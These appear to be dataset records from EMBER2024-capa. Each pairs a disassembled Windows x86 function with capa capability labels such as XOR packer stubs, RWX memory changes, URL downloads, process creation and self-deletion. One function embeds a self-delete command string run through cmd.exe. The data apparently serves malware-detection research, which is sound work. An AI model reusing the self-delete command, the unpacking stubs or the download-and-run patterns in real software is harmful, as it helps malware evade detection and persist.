joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405080
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40a6a8]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x40509f
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x40a6a4], 1
mov byte [0x40a6a0], bl
jne 0x4050f9
mov ecx, dword [0x40aa28]
test ecx, ecx
je 0x4050e7
mov esi, dword [0x40aa24]
sub esi, 4
cmp esi, ecx
jb 0x4050e7
mov eax, dword [esi]
test eax, eax
je 0x4050e0
call eax
mov ecx, dword [0x40aa28]
sub esi, 4
cmp esi, ecx
jae 0x4050d2
push 0x407014
push 0x407010
call fcn.00405130
add esp, 8
push 0x40701c
push 0x407018
call fcn.00405130
add esp, 8
test ebx, ebx
jne 0x405120
push ebp
mov dword [0x40a6a8], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x34d03a3b
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..rdata
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1d2f33e1
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x405d6b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a0c], 0
push esi
jne 0x405da2
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405d7c
mov dword [ecx*4 + 0x422a08], eax
inc ecx
cmp ecx, 0x100
jl 0x405d77
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405dd3
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a08]
xor eax, esi
inc ecx
dec edx
jne 0x405db5
pop edi
not eax
pop esi
ret 0xc

Function at 0x40153f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0x134]
sub esp, 0x154
mov dword [ebp - 0x134], 0
mov dword [esp], eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x118], 6
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push ecx
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea ebx, [ebp - 0x10c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
push eax
push eax
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
leave
sub eax, 3
ret

Function at 0x40162d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040153f
test eax, eax
jne 0x4016c7
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x40215e
sub eax, 0x4016fc
mov dword [esp], 0x4016fc
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x4016c7
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401442
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014c9
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401e61
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x408932
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
pop eax
call fcn.0040895e
sub ebx, 0x1184b8ec
dec edi
xor dword [esi], eax
sub esp, 4
mov dword [esp], edi
pop edi
inc esi
cmp esi, edx
jne fcn.00408932
ret
Function at 0x406b00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x17f]
mov esi, ecx
push 0
push eax
mov byte [ebp - 0x289], dl
mov dword [ebp - 0x290], esi
mov byte [ebp - 0x180], 0
call fcn.0040eac0
mov al, byte [0x427ed0]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x180]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
xor edi, edi
xor bl, bl
call fcn.0040b0a9
add esp, 0xc
lea eax, [ebp - 0x180]
push 0x4279cc
push 0x104
push eax
call fcn.0040b381
add esp, 0xc
lea eax, [ebp - 0x180]
push str.notafile.exe
push 0x104
push eax
call fcn.0040b381
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x406bd0
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404a90
mov al, byte [ebp - 0x289]
add esp, 8
test al, al
jne 0x406bf8
mov bl, 1
jmp 0x406c46
cmp al, 1
jne 0x406c46
lea eax, [ebp - 0x34]
push 0x104
push eax
mov edx, str.version
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406c46
push 0x42cee0
call fcn.0040ba02
mov esi, eax
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0040ba02
movzx ebx, bl
add esp, 4
cmp eax, esi
mov esi, dword [ebp - 0x290]
mov ecx, 1
cmovg ebx, ecx
lea eax, [ebp - 0x288]
push 0x104
push eax
mov edx, str.link
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406d5e
lea eax, [ebp - 0x78]
push 0x40
push eax
mov edx, str.encryption_key
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406d5e
test bl, bl
je 0x406d5e
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b30
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
jne 0x406cdb
lea esp, [esp]
lea eax, [edi + 1]
lea edi, [edi + 2]
cmp eax, 0xa
jge 0x406d76
push 0x927c0
call esi
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b30
test al, al
je 0x406cb0
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x180]
call fcn.00408840
add esp, 4
test eax, eax
jne 0x406d6f
cmp byte [ebp - 0x78], al
je 0x406d04
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x180]
call fcn.00404b70
push 0x40
lea eax, [ebp - 0x2d4]
push 0
push eax
mov dword [ebp - 0x2d8], 0x44
call fcn.0040eac0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2a8], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2d8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x180]
push eax
push 0
mov dword [ebp - 0x2ac], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406d7b
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
push 0x3a98
call esi
call fcn.00405d50
call fcn.00405cd0
int3
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x53dd54ac
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3190135d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40e1b0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x58b18c]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40e231
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword fs:[0x2c]
mov edi, eax
mov edx, dword [ecx]
mov ecx, dword [0x5989dc]
cmp ecx, dword [edx + 4]
jle 0x40e221
push 0x5989dc
call fcn.004f74f5
add esp, 4
cmp dword [0x5989dc], esi
jne 0x40e221
push 0x532750
call fcn.004f7999
add esp, 4
push 0x5989dc
call fcn.004f74a4
add esp, 4
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x58bc28
test edi, edi
jne 0x40e244
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.004f7466
mov esp, ebp
pop ebp
ret
mov edx, 0x55ae00
lea ecx, [esp + 0xc]
call fcn.0040e0e0
int3

Function at 0x40ef50
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x370
mov eax, dword [0x58b18c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
lea eax, [ebp - 0x360]
push 0
push eax
call fcn.00500b60
add esp, 0xc
lea eax, [ebp - 0x110]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x370], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___nul__del__f__q___s_
lea eax, [ebp - 0x318]
push 0x208
push eax
call fcn.0040a250
add esp, 0x10
lea eax, [ebp - 0x370]
push eax
lea eax, [ebp - 0x360]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x318]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x36c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f7466
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40f020
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52019d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x58b18c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov eax, esi
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x20], 0
jb 0x40f083
mov eax, dword [esi]
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov ebx, eax
push ebx
call fcn.004f79bc
add esp, 4
mov edi, eax
push ebx
push 0
push edi
call fcn.00500b60
add esp, 0xc
mov dword [ebp - 0x18], edi
cmp dword [esi + 0x14], 0x10
jb 0x40f0b2
mov esi, dword [esi]
push edi
push ebx
push 0
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x55b130
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x40f183
cmp dword [ebp - 0x1c], 0
je 0x40f183
mov ecx, dword [edx + 8]
mov eax, ecx
mov ebx, dword [ebp - 0x28]
mov edx, dword [edx + 0xc]
shr eax, 0x10
mov esi, dword [ebp - 0x30]
mov dword [ebx], eax
add esi, 0x284
movzx eax, cx
mov dword [ebx + 4], eax
mov eax, edx
shr eax, 0x10
mov dword [ebx + 8], eax
movzx eax, dx
mov edx, dword [ebp - 0x2c]
mov dword [ebx + 0xc], eax
mov dword [edx], 0
imul ecx, dword [ebx], 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 4]
add eax, ecx
imul ecx, eax, 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 8]
add eax, ecx
imul ecx, eax, 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 0xc]
add eax, ecx
mov dword [edx], eax
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebx]
push str.2Current_version_of_5Tiny6Rcon_2is_5_d._d._d._d_n
push 0x200
push esi
call fcn.0040a250
add esp, 0x1c
mov edx, esi
push 1
push ecx
push 1
push 1
push ecx
mov ecx, dword [0x598c18]
call fcn.004b4380
add esp, 0x14
test edi, edi
je 0x40f17f
push edi
call fcn.004f7474
add esp, 4
mov al, 1
jmp 0x40f1a2
test edi, edi
je 0x40f1a0
push edi
jmp 0x40f198
call fcn.004f7474
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f7466
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40f390
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x78
mov eax, dword [0x58b18c]
xor eax, esp
mov dword [esp + 0x74], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0xc], eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov ecx, esi
mov dword [esp + 0x40], 0
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
movaps xmmword [esp + 0x30], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f3d4
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x38]
call fcn.004185e0
mov edi, dword [esp + 0x44]
lea ecx, [esp + 0x30]
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x30]
cmp edi, 0x10
cmovae ecx, dword [esp + 0x30]
cmovae edx, dword [esp + 0x30]
mov dword [esp + 0xc], ecx
test eax, eax
je 0x40f42e
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x2f
je 0x40f42a
nop dword [eax]
cmp ecx, edx
je 0x40f42e
dec ecx
cmp byte [ecx], 0x2f
jne 0x40f420
sub ecx, edx
jmp 0x40f431
or ecx, 0xffffffff
mov eax, dword [esp + 0xc]
inc eax
add eax, ecx
cmp edi, 0x10
push eax
lea ecx, [esp + 0x34]
cmovae ecx, dword [esp + 0x34]
lea eax, [esp + 0x10]
push ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00414b50
xorps xmm0, xmm0
mov dword [esp + 0x54], vtable.MyCallback.0
movups xmmword [esp + 0x60], xmm0
lea eax, [esp + 0x10]
mov dword [esp + 0x58], 0x598d60
movaps xmm0, xmmword [esp + 0x30]
lea ecx, [esp + 0x60]
movaps xmmword [esp + 0x10], xmm0
movq xmm0, qword [esp + 0x40]
push eax
mov dword [esp + 0x60], 0x598c00
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0xf
mov byte [esp + 0x64], 0
mov dword [esp + 0x7c], 0
movq qword [esp + 0x24], xmm0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
call fcn.00414d90
mov ecx, dword [esp + 0x24]
cmp ecx, 0x10
jb 0x40f500
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f4f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f5ad
push ecx
push edx
call fcn.004f79ae
add esp, 8
lea eax, [esp + 0x54]
push eax
push 0
push dword [esp + 0x10]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [esp + 0x74]
shr eax, 0x1f
xor al, 1
mov dword [esp + 8], eax
cmp ecx, 0x10
jb 0x40f54f
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f545
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f5ad
push ecx
push edx
call fcn.004f79ae
add esp, 8
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
cmp ecx, 0x10
jb 0x40f596
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f58c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f5ad
push ecx
push edx
call fcn.004f79ae
add esp, 8
mov ecx, dword [esp + 0x7c]
mov al, byte [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.004f7466
mov esp, ebp
pop ebp
ret 8
call fcn.005094c8
int3
Function at 0x412740
Capabilities:
Create http request
Create thread
Read data from internet
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5205b0
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1040
call fcn.004f85b0
mov eax, dword [0x58b18c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x101c], esi
xorps xmm0, xmm0
mov dword [ebp - 0x101c], esi
movups xmmword [ebp - 0x1040], xmm0
movups xmmword [ebp - 0x1030], xmm0
push 0
push 0
push 0
push 0
push str.IP_retriever
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp - 0x1040]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1044], eax
test ecx, ecx
je 0x4127dd
push ecx
call edi
mov eax, dword [ebp - 0x1044]
mov dword [ebp - 0x1040], eax
test eax, eax
je 0x412912
lea eax, [ebp - 0x101c]
mov dword [ebp - 0x101c], 0
push eax
push 0
lea eax, [ebp - 0x1040]
mov dword [ebp - 0x1020], 0
push eax
push 0x412530
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1048], eax
test eax, eax
je 0x412912
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x412887
push 1
push ecx
push 1
push 1
push ecx
mov ecx, dword [0x598c18]
mov edx, str.3Could_not_connect_to_5http:__myexternalip.com_raw_3to_retrieve_your_1external_IP_address_3for_5Tiny6Rcon_3updates__n
call fcn.004b4380
add esp, 0x14
push 0xffffffffffffffff
push dword [ebp - 0x1048]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x1020]
push eax
push dword [ebp - 0x1048]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 0x1048]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1020], 0
je 0x4128da
xorps xmm0, xmm0
mov ecx, esi
push 7
movups xmmword [esi], xmm0
push str.unknown
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.004185e0
mov eax, dword [ebp - 0x103c]
test eax, eax
je 0x4128c9
push eax
call edi
mov dword [ebp - 0x103c], 0
mov ecx, dword [ebp - 0x1040]
test ecx, ecx
je 0x412958
push ecx
jmp 0x412956
lea eax, [ebp - 0x1044]
mov dword [ebp - 0x1044], 0
push eax
push 0x1000
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x103c]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [ebp - 0x1044]
lea eax, [ebp - 0x1018]
push eax
jmp 0x412919
push 7
push str.unknown
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.004185e0
mov eax, dword [ebp - 0x103c]
test eax, eax
je 0x41294b
push eax
call edi
mov dword [ebp - 0x103c], 0
mov eax, dword [ebp - 0x1040]
test eax, eax
je 0x412958
push eax
call edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f7466
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x412980
Capabilities:
Create http request
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5205f5
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x58b18c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x5c], xmm0
movups xmmword [ebp - 0x4c], xmm0
push 0
push 0
push 0
push 1
push str.tinyrcon_download_file
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, eax
mov eax, dword [ebp - 0x5c]
test eax, eax
je 0x4129ff
push eax
call edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x40], eax
test esi, esi
je 0x412b06
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push 0
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x18], 0
push eax
push 0x412670
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x412a84
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
push esi
call edi
cmp eax, 0x102
jne 0x412a7e
push 0xffffffffffffffff
push esi
call edi
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x18], 0
je 0x412aff
lea eax, [ebp - 0x38]
push eax
push 0x2a
push str.3Failed_to_download_file_1_3from_5
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x34]
call fcn.00417c70
add esp, 0xc
push 1
push ecx
mov byte [ebp - 4], 1
lea edx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
push 1
cmovae edx, dword [ebp - 0x34]
push 1
push ecx
mov ecx, dword [0x598c18]
call fcn.004b4380
mov ecx, dword [ebp - 0x20]
add esp, 0x14
cmp ecx, 0x10
jb 0x412af8
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412aee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412b41
push ecx
push edx
call fcn.004f79ae
add esp, 8
mov esi, dword [ebp - 0x5c]
xor bl, bl
jmp 0x412b08
mov esi, dword [ebp - 0x5c]
mov bl, 1
jmp 0x412b08
xor bl, bl
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x412b1c
push eax
call edi
mov esi, dword [ebp - 0x5c]
mov dword [ebp - 0x58], 0
test esi, esi
je 0x412b23
push esi
call edi
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004f7466
mov esp, ebp
pop ebp
ret
call fcn.005094c8
int3